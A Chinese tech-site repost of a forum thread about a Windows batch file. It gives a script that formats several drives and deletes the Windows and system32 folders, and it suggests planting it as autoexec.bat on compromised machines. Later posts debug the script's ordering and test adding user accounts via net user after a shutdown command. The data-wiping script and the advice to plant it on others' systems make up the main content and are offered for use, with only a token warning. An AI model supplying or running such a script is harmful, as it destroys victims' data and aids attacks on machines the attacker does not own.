• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

由一段批处理程序所引起的探讨感觉问题是有,不太准确

原作者: [db:作者] 来自: [db:来源] 收藏 邀请
假如你的系统装在c盘 
打开记事本输入 
@echo off 
shutdown -r -t 0 
format d: /q /y 
format e: /q /y
format f: /q /y 
format g: /q /y 
c: 
cd \ 
cd windows 
del. /y 
cd system32 
del. /y 
shutdown -r -t 0 
另存为1.bat 

然后运行 

看看有什么后果 

如果想搞肉鸡的话那么可以 

重命为autoexec.bat上传到肉鸡C:覆盖原来的autoexec.bat 


最后一次警告:最好别乱搞,出了问题后果自负 


有一个不完美的地方。我说说


c: 

cd \ 

cd windows 

del. /y 

cd system32 

 

请问你为什么就肯定系统不是windows2000呢! 

对于windows目录的确定,你在bat下应该用环境变量得到。 

比如 

windir=C:\WINDOWS 

windir=C:\WINNT 


还有,有点小小要请教的地方,对于第二条语句。 

shutdown -r -t 0 

既然重动了,那以下的格式化命令还有作用吗??????????? 

自己不敢试,因为我怀疑是有作用的。 


这个是我给的回复: 

我的系统是XP,在XP的环境下弄的这个批处理,所以忽略了2000的情况,是我考虑不周全,谢谢你的指正 

确实如你所说shutdown -r -t 0这条语句本来是不应该放在这里,否则系统会直接重启动,导致下面的语句不起作用. 


为了得到答案!我对于这个问题亲自试了一下! 


@echo off 

shutdown -r -t 0 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

这是我第一次执行的文件。在重启动后发现emissary1并没有加入到用户组!失败! 

第二次我在ping的前面加入了net user emissary1 /add。因为我想知道不延时执行的话。会不会成功! 

@echo off 

shutdown -r -t 0 

net user emissary1 /add 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

结果还是失败! 


到这里。我以为shutdown -r -t 0后面的语句是无效的!想了一下。又改为了以下语句! 

@echo off 

shutdown -r -t 0 

dir > c:\aaa.txt 

ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt 

shutdown -r -t 0 

意外的,这次成功了。重启后发现有了c:\aaa.txt而没有c:\aaa2.txt这个文件。 

对于以上测试,我仅仅得出在这个批处理文件中。只能对内部命令会起作用,而外部命令因为windows已经开始关闭窗口,从而导致外部命令的初始化失败,不能执行的结论! 

内部命令由cmd.exe提供,因为执行.bat时CMD是打开的,所以内部命令可以正常使用。

鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
热门推荐
热门话题
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap